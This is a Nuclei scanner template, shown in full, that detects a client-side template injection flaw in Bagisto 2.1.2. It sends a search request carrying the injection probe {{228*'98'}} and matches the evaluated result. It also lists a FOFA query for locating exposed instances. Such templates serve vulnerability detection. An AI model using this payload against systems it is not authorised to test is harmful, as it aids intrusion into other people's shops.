35 lines
1.0 KiB
YAML
35 lines
1.0 KiB
YAML
id: bagisto-csti
|
|
|
|
info:
|
|
name: Bagisto 2.1.2 Client-Side Template Injection
|
|
author: securityforeveryone
|
|
severity: medium
|
|
description: |
|
|
Bagisto is vulnerable to Client-Side Template Injection (CSTI), which allows an attacker to execute arbitrary code on the server.
|
|
reference:
|
|
- https://packetstormsecurity.com/files/179153/Bagisto-2.1.2-Client-Side-Template-Injection.html
|
|
- https://demo.bagisto.com/
|
|
metadata:
|
|
fofa-query: "Bagisto"
|
|
max-request: 1
|
|
tags: bagisto,csti,packetstorm,ssti
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/bagisto-common/search?query={{228*'98'}}"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "22344"
|
|
- "bagisto"
|
|
condition: and
|
|
|
|
- type: word
|
|
part: content_type
|
|
words:
|
|
- "text/html"
|
|
# digest: 490a00463044022015e3c2098a364345bf81fc3d793a002922c4e4a93bdaf0484a0abe3157b18ece02203d187b4fa114b97d147058f5bef877743db96ec4b5ca55cfa900f793f9219ec6:922c64590222798bb761d5b6d8e72950 |